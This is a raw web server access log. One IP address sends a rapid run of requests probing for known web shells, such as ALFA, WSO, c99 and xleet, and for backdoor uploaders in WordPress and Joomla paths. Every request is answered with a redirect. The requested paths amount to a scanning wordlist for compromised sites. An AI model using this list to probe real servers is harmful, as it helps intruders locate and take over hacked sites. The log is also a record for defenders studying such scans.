[05/Apr/2025:23:45:57 -0400] "GET /uploader.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:45:59 -0400] "GET /leafmailer.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:46:01 -0400] "GET /ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:46:02 -0400] "GET /.well-known/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:46:04 -0400] "GET /tmp_images/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:46:05 -0400] "GET /wp-admin/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:46:07 -0400] "GET /wp-content/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:46:09 -0400] "GET /wp-includes/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:46:12 -0400] "GET /alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:46:15 -0400] "GET /css/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:46:18 -0400] "GET /files/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:46:20 -0400] "GET /images/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:46:22 -0400] "GET /wp-admin/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:46:24 -0400] "GET /wp-content/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:46:26 -0400] "GET /wp-includes/ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:46:27 -0400] "GET /date.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:46:29 -0400] "GET /alfaindex.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:46:31 -0400] "GET /.alf.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:46:32 -0400] "GET /wp-content/plugins/cekidot/alf.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:46:33 -0400] "GET /wp-content/fw.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:46:36 -0400] "GET /wp-content/alfa.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:46:37 -0400] "GET /snd.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:46:39 -0400] "GET /wp-class.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:46:40 -0400] "GET /small.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:46:42 -0400] "GET /wp-content/plugins/upspy/index.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:46:45 -0400] "GET /wp-content/plugins/ubh/index.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:46:47 -0400] "GET /wp-content/plugins/vwcleanerplugin/bump.php?cache HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:46:50 -0400] "GET /wp-content/themes/gaukingo/db.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:46:52 -0400] "GET /wp-content/plugins/three-column-screen-layout/db.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:46:55 -0400] "GET /wp-content/plugins/xichang/x.php?xi HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:46:56 -0400] "GET /wp-content/plugins/html404/index.html HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:46:58 -0400] "GET /wp-content/plugins/wp-db-ajax-made/wp-ajax.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:47:00 -0400] "GET /Marvins.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:47:02 -0400] "GET /wp-includes/css/modules.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:47:04 -0400] "GET /indoxploit.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:47:06 -0400] "GET /wp-content/plugins/css-ready-sel/file.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:47:08 -0400] "GET /wp-content/plugins/css-ready/file.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:47:13 -0400] "GET /wp-content/think.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:47:17 -0400] "GET /wp-content/plugins/html404/xccc.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:47:21 -0400] "GET /wp-content/plugins/html404/cry.php.pjpeg HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:47:24 -0400] "GET /wp-content/plugins/real/v.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:47:28 -0400] "GET /wp-content/plugins/html404/wso25.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:47:30 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:47:33 -0400] "GET /libraries/joomla/css.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:47:34 -0400] "GET /libraries/joomla/jmails.php?u HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:47:37 -0400] "GET /libraries/joomla/jmail.php?u HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:47:40 -0400] "GET /images/vuln.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:47:42 -0400] "GET /tmp/vuln.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:47:44 -0400] "GET /rxr.php?rxr HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:47:47 -0400] "GET /modules/modules/modules.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:47:49 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:47:52 -0400] "GET /wp-content/themes/fitnessbase/404.php?ok HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:47:57 -0400] "GET /wp-add-admin.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:48:00 -0400] "GET /RxR.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:48:03 -0400] "GET /components/com_b2jcontact/izoc.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:48:05 -0400] "GET /administrator/templates/bluestork/error.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:48:07 -0400] "GET /administrator/templates/hathor/index.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:48:12 -0400] "GET /administrator/templates/hathor/error.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:48:15 -0400] "GET /administrator/templates/isis/index.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:48:20 -0400] "GET /administrator/templates/isis/error.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:48:22 -0400] "GET /templates/beez/index.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:48:24 -0400] "GET /templates/ja_purity/index.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:48:29 -0400] "GET /templates/rhuk_milkyway/index.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:48:35 -0400] "GET /templates/+theme+/index.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:48:39 -0400] "GET /templates/+theme+/error.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:48:41 -0400] "GET /templates/beez3/index.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:48:43 -0400] "GET /templates/beez3/error.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:48:45 -0400] "GET /templates/beez5/index.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:48:48 -0400] "GET /templates/beez5/error.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:48:49 -0400] "GET /templates/beez_20/index.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:48:52 -0400] "GET /templates/beez_20/error.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:48:54 -0400] "GET /templates/protostar/index.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:48:58 -0400] "GET /templates/protostar/error.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:49:01 -0400] "GET /templates/atomic/index.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:49:06 -0400] "GET /templates/atomic/error.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:49:10 -0400] "GET /wp-admin/network/wp-footer.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:49:17 -0400] "GET /wp-content/vuln.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:49:22 -0400] "GET /upel.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:49:26 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:49:27 -0400] "GET /wp-content/uploads/+year+/+month+/ HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:49:30 -0400] "GET /license.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:49:32 -0400] "GET /wp-content/plugins/ppus/up.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:49:35 -0400] "GET /098.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:49:38 -0400] "GET /new_license.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:49:41 -0400] "GET /wp-content/plugins/theme-configurator/mini.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:49:43 -0400] "GET /wp-content/plugins/widget-logic/mini.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:49:45 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:49:50 -0400] "GET /1975.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:49:53 -0400] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:49:55 -0400] "GET /xleet-shell.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:49:56 -0400] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:50:01 -0400] "GET /wp-includes/radio.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:50:05 -0400] "GET /fx.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:50:14 -0400] "GET /wp-admin/images/atomlib.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:50:20 -0400] "GET /jindex.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:50:24 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:50:26 -0400] "GET /sh.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:50:28 -0400] "GET /wp-includes/991176.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:50:32 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:50:36 -0400] "GET /fox.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:50:40 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:50:44 -0400] "GET /server.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:50:48 -0400] "GET /wp-includes/fw.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:50:51 -0400] "GET /4.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:50:52 -0400] "GET /5.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:50:54 -0400] "GET /images/about.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:50:57 -0400] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:50:57 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:50:59 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:51:00 -0400] "GET /wp-admin/fw.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:51:02 -0400] "GET /mari.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:51:05 -0400] "GET /swm.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:51:06 -0400] "GET /wp-admin/radio.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:51:09 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:51:13 -0400] "GET /wp-content/wso.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:51:14 -0400] "GET /wp-admin/wso.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:51:16 -0400] "GET /w3llstore.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:51:19 -0400] "GET /wp-content/fx.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:51:21 -0400] "GET /wp-content/x.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:51:22 -0400] "GET /wp-admin/alfa.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:51:24 -0400] "GET /gank.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:51:25 -0400] "GET /style.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:51:27 -0400] "GET /s_e.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:51:28 -0400] "GET /s_ne.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:51:30 -0400] "GET /beence.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:51:32 -0400] "GET /wp-signin.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:51:33 -0400] "GET /moduless.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:51:35 -0400] "GET /export.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:51:37 -0400] "GET /legion.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:51:38 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:51:39 -0400] "GET /shells.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:51:41 -0400] "GET /wp-includes/wp-atom.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:51:45 -0400] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:51:49 -0400] "GET /wp-content/mu-plugins/db-safe-mode.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:51:51 -0400] "GET /wp-content/db-cache.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:51:54 -0400] "GET /wp-content/plugins/backup_index.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:51:56 -0400] "GET /wp-content/themes/config.bak.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:51:59 -0400] "GET /wp-includes/images/css.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:52:01 -0400] "GET /wp-includes/css/css.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:52:03 -0400] "GET /wp-content/uploads/wp-stream.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:52:04 -0400] "GET /wp-beckup.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:52:07 -0400] "GET /wp-blog-post.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:52:10 -0400] "GET /wp-content/uploads/wp-blockdown.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:52:16 -0400] "GET /wp-admin/includes/class-wp-media-list-data.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:52:20 -0400] "GET /wp-admin/style.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:52:22 -0400] "GET /6.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:52:24 -0400] "GET /7.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:52:26 -0400] "GET /8.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:52:31 -0400] "GET /9.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:52:35 -0400] "GET /10.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:52:41 -0400] "GET /wp_class_datalib.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:52:47 -0400] "GET /wp-includes/wp_class_datlib.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:52:52 -0400] "GET /wp-includes/pomo/wp_class_datalib.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:52:55 -0400] "GET /01.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:52:57 -0400] "GET /1xleet.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:53:04 -0400] "GET /wp-content/shell.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:53:07 -0400] "GET /wp-admin/shell.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:53:15 -0400] "GET /wp-admin/wp.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:53:19 -0400] "GET /4index.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:53:22 -0400] "GET /5index.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:53:32 -0400] "GET /6index.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:53:41 -0400] "GET /7index.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:53:49 -0400] "GET /8index.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:53:57 -0400] "GET /9index.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:54:00 -0400] "GET /Leaf.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:54:05 -0400] "GET /Uploader.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:55:39 -0400] "GET /wp-content/plugins/zedd/1.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:55:41 -0400] "GET /wp-content/up.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:55:45 -0400] "GET /wp-content/wp.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:55:48 -0400] "GET /wp-mna.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:55:52 -0400] "GET /uploads/upload.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:55:57 -0400] "GET /wpx.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:56:00 -0400] "GET /images/c99.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:56:02 -0400] "GET /xhell.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:56:05 -0400] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:56:06 -0400] "GET /xz.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:56:07 -0400] "GET /yuuki.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:56:09 -0400] "GET /wp-admin/shapes.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:56:10 -0400] "GET /wp-content/plugins/upspy/con.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:56:14 -0400] "GET /wp-content/plugins/upspy/up.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:56:17 -0400] "GET /wp-content/plugins/upspy/sllolx.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:56:20 -0400] "GET /database.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:56:24 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:56:26 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:56:31 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:56:36 -0400] "GET /wp-seo.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:56:40 -0400] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:56:45 -0400] "GET /wb.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:56:51 -0400] "GET /xxc.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:56:56 -0400] "GET /xl2023.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:56:59 -0400] "GET /wp-admin/network/network.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:57:02 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:57:06 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:57:09 -0400] "GET /wp-activate.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:57:19 -0400] "GET /wp-admin/css/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:57:21 -0400] "GET /images/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:57:23 -0400] "GET /cgi-bin/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:57:25 -0400] "GET /iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:57:27 -0400] "GET /admin-heade.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:57:30 -0400] "GET /wp-admin/maint/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:57:33 -0400] "GET /defaul1.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:57:37 -0400] "GET /setup-config.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:57:41 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:57:43 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:57:45 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:57:50 -0400] "GET /wp-admin/includes/themes.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:57:54 -0400] "GET /M1.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:57:58 -0400] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:54:08 -0400] "GET /wp-includes/wp-red.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:54:12 -0400] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:54:18 -0400] "GET /alfashell.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:54:23 -0400] "GET /am.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:54:29 -0400] "GET /blog/fw.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:54:33 -0400] "GET /contacts.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:54:36 -0400] "GET /demo328/fw.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:54:38 -0400] "GET /gif.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:54:40 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:54:41 -0400] "GET /images/sym.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:54:43 -0400] "GET /lab.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:54:44 -0400] "GET /leaf_mailer.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:54:46 -0400] "GET /leaf_php.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:54:48 -0400] "GET /libraries/joomla/jmail.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:54:50 -0400] "GET /libraries/joomla/jmails.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:54:53 -0400] "GET /mailer1.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:54:55 -0400] "GET /rxr.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:54:58 -0400] "GET /srx.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:55:01 -0400] "GET /tuco.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:55:06 -0400] "GET /unix.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - [05/Apr/2025:23:55:09 -0400] "GET /uploads/up.php HTTP/1.1" 301 795 "-" "-" 13.74.53.80 - - 